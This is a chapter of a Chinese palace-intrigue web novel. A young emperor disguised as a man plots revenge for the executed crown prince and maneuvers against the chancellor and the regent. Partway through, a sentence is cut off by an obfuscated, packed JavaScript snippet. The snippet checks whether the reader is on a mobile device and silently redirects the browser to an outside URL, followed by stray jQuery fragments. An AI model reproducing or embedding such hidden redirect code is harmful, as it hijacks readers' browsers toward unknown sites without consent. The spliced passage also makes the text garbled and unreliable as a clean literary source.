薛霜梧起身,麻木地将手中沾满了鲜血的刀子随手一丢,眼神明明空洞却闪过狠绝,
“那就一个个杀,终有为枉死之人报仇雪恨的一天。”
这几个字楚知默在舌尖上咬了一遍又一遍,深深刻在了心里,
是啊,一个个杀,谁都跑不掉。
“恩人,我祝你得偿所愿。”
薛霜梧挑起了嘴角,昳丽的面孔露出了一个凄美无比的笑,
这是她父亲死后,她第一次发自内心的笑容,
她会的,楚知默心中坚毅,她一定会的。
“你为什么帮我?”
从被带到楚知默面前时,薛霜梧就想问,她们萍水相逢,这个人为什么信任她,帮助她?
两人面对而立,屋子中能抵挡和撕破黑暗的,只有楚知默手中的蜡烛,
她们都在对方的眼底看到了与自己相似却又截然不同的决绝。
楚知默并不觉得已经大仇得报的薛霜梧是幸运的,因为她在薛霜梧的眼中看不见一点活下去的欲望,
而满目疮与的薛霜梧也看不透楚知默层层遮掩下的心,
“因为我们都要为我们的亲人报仇。”
话落,楚知默越过薛霜梧,将手中的蜡烛扔到了尸体身上,火苗点燃了昂贵的衣裳,她转身将薛霜梧带出了被大火吞噬的土地神庙。
“活下去吧,薛霜梧,对我来说你还有用处。”
紫宸殿中,楚知默一口闷了一小杯酒,脸上难得露出了红晕,吓得赵齐上前想要把她的酒杯抢走,
“哎呦,陛下,你可不能这么喝呀!”
影七坐在楚知默的对面,同样眼神迷离地将酒杯一举,
“喝!再来一杯!”
这边楚知默抢过酒又给自己倒了一杯,两个醉鬼杯子一碰,“喝!”
守在一旁的赵齐一个头两个大,左劝一下右劝一下,被劝的两人,你一杯我一杯,
大有不尽兴就不停的架势。
眼看着楚知默人都软了,赵齐满脑子都是明天的早朝,可不能放纵楚知默这么喝,不然明天早上起来陛下该难受了,
劝说无果的他,只好向一旁的影三求助,“影三大人,你也来帮忙劝一下啊!”
影三绷着脸盯着称兄道弟的两人,眉头皱得都能夹死苍蝇了,起身将醉倒的影七一把扛到肩上带走了,制止了这场闹剧。
赵齐也趁乱抢过楚知默的酒杯,将人扶了起来,
虽然她面上醉态,可眼底是清明。嘴里嘟囔道,“我师父都是骗人的,酒是喝不醉人的。”
赵齐将人扶到榻前,鞍前马后地伺候她安寝,耳边是她说的醉话,难得见小皇帝如此憨态,两条眼睛眯成了线,笑得满脸褶子,心底里一片柔软,
到底是十七岁的孩子,
“陛下,若你不想喝醉呢,就会醉,可若你想喝醉,反而喝不醉。”
听他这么说,倒在床上的楚知默嘿嘿笑了两声,“朕就说朕没醉。”
今天,她为之谋划了两年的计划,终于拉开了序幕,
她高兴,她由衷的高兴,为自己,为太子,为长风军。
可她很想哭,却不知道是为谁。
她在冷宫被蹉跎了十五年,她想哭也哭过很多次,但都没有此刻想哭,没有此刻难受。
自她有记忆以来,她的生命中只有两个人,一个便是陪在她身边的一个冷宫中的弃妃,她不知道这弃妃的名字,也不知道她的来历,只知道她不是她的娘亲。
据弃妃所说,她的娘亲在生下她之后就死了。
楚知默对素未谋面的娘亲没什么感情,因为养大她的是这个弃妃,
她也就只知道她姓林,也不许楚知默叫她娘亲,只让她叫她老师,林老师。
林老师没有一点被遗弃在冷宫的自怨自艾,相反,她过得很自在,哪怕她们的生活艰苦,饥肠辘辘是常态,被人欺凌也只能忍着。
其实那时楚知默并不觉得苦,林老师告诉她,若想活下去,她的女子身份决不能暴露。
冷宫中她们的心愿很简单,活下去就行。
林老师学识渊博,满腹经纶,空闲时就在教她识文断字,教她何为为人之道,何为天地广阔。
而她生命中另一个人,是先太子楚元廷。
在她很小的时候,太子就会偷偷跑到冷宫来看望林老师,她曾好奇地问过他们是什么关系,但两个人就像是约好了,无论她怎么撒娇卖乖,谁都不告诉她。
那时候太子也是个萝卜头,而她是一个需要被抱在怀里的孩童,
每次楚元廷来都会偷偷摸摸给她们送吃的送衣服,甚至有时候会给她带来一些新鲜好玩的,她从来没有见过的玩应儿。
她每天都守着工钱,期待太子灰扑扑地翻过来看她们,她一日又一日等着,
后来楚知默把这种期待告诉了林老师,林老师那时会心一笑,怜爱地摸着她的头,
“因为你们有着藏在皮肤下刻在骨子的血缘,所以你们天生就是一家人,天生爱着对方。”
小孩子听得一知半解,兴致勃勃地拉着她的手问道,“那我们是不是也有血缘,我也好喜欢老师。”
林老师被纯真的话语逗笑,却没着急否认,反而告诉她,“这世上有一种爱,也会超脱血缘,你还小,等你长大了就知道了。”
楚元廷是一个集楚知默能想到的所有美好的词于一身的人,
朝中盛传太子仁厚通达,博古通今,颇有贤明储君之范。
当然,楚知默比任何人都认同,
楚元廷对她做到了一个哥哥对妹妹的宠爱,总是把她抱在怀里,然后对林老师说,再等等,等到他即位就救她们出去。
她听不懂,但无比开心地点头,
对此,林老师从未说过信还是不信,她们日复一日,等了又等,等来了太子谋反被斩,林老师悬梁自尽。
而她登上了皇位。
登上了那个楚元廷曾经许诺登了上就会救她们出去的皇位。
楚知默昏沉着头醒来时,赵齐早已候在一旁,
这一夜,楚知默做着光怪陆离的梦,一会儿梦见林老师教她‘藏巧于拙,用晦而明’,
一会儿梦见太子哥哥拎着糕点小心翼翼翻过墙然后将她抱在怀里一块一块喂给她,
正当她以为是美梦时,画面一转,又变成林老师被一根白绫吊在梁上晃来晃去,一会儿又变成她坐在皇位上独自面对裴寂也和左高卓。
头细细密密的疼,楚知默轻轻按揉着太阳穴,难得皱起了眉头,
洗漱更衣,一套流程下来后,楚知默的头非但没好,反而更疼了。
以后可不能再喝酒了,真是误事儿。
赵齐端来醒神汤,眼底带了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457711|185363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关切,“陛下若是实在难受得厉害,今天的早朝要不就算了。”
楚知默将汤一口喝到底,敛起疲惫之色,“没关系。”
今天,还有一场大戏需要她配合唱。
早朝格外安静和压抑,不过短短几天,接连两位尚书被拉下马,被贬的被贬,杀头的杀头,
一时间大臣一个个大气不敢吭,生怕自己受到牵连。
每个人都怀着几分好奇和不安,偷偷打量折兵损将的丞相和摄政王,发现两人的表情都很耐人寻味。
工部尚书是丞相姻亲,但丞相大义灭亲,忠心耿耿。
兵部尚书是摄政王一党,被抄家时摄政王也没拦一下。
暗流涌动,风雨欲来。
但今天让人更意外的是,这两年称病在家几乎致仕崔太傅居然上了朝。
裴寂也见到人时也不免愣了一下,
这位已到了耄耋之年的崔老崔太傅,辅佐了三代君王,桃李满天下。
新皇登基后便称病在家,没有再理会过朝政,怎么会突然在这个时候上朝?
他的疑惑很快就被解开了。
崔太傅立于丞相之前百官之首,上奏提出成立监察司,督查百官,维护纲纪。
借工部和兵部的前车之鉴,监察司立于三省六部之外,直属皇帝,有监察弹劾之权。
御史大夫从崔老提出监察司就开始冒冷汗,生怕一不小心话题就会扯到他的身上,再给他一个玩忽职守的帽子。
这下,他都不是偷瞄了,直勾勾的盯着丞相,但当他看到丞相比他还难看的脸色时,呼吸又加重了几分。
大雪压境啊。
崔老说完后,朝野上下安静了片刻,随即一呼百应。
丞相和摄政王的手再长,羽翼再多,终究抵不过崔老,整个朝廷大半都是他的门生,就连御史大夫都算他半个门生,
胳膊拧不过大腿。
坐在皇位上的一言不发的楚知默满脸紧张和不知所措,先急切地望向丞相,见他冷着脸咬牙也没说一个不字,转而又望向裴寂也,
当观摄政王平静无澜的神色时,楚知默的心咯噔了一下,
丞相的反应在她的意料之中,但裴寂也的神情却让她捉摸不透。
男人依旧神色淡然的握着笏板,她甚至没错过裴寂也眼底一闪而过的兴致。
成立监察司已是板上钉钉之事,但却也并非一朝一夕就能做成的,
在崔老的举荐下,由现任京兆尹镇国将军之子担任监察司主事,由各部各军队抽出百人组成监察司。
一夕之间,文武百官都嗅到了风雨欲来前的气息,
摄政王和丞相分厅对抗的朝局变了,现在,多了个崔太傅。
京郊城外,淮水亭中,身着斗笠的楚知默,悄无声息地坐到了早已等待在这里的崔太傅对面,而崔太傅身旁站着一位谦逊有礼的少年。
早已满头白发的崔鹤明眼角含笑,豪气地端起已经冷掉的茶一饮而尽。
影三候在亭外不远处,时刻观察着动向,而旁边便是载着崔鹤明上朝下朝的小童,百里聊赖地坐在马车上,嘴里还叼着根狗尾巴草。
楚知默放下斗笠,举起面前已经为她摆好的茶杯,向崔太傅敬茶,
崔太傅笑呵呵地回敬,望向少年帝王的眼中充盈着欣赏和满意。
“老臣,恭贺陛下。”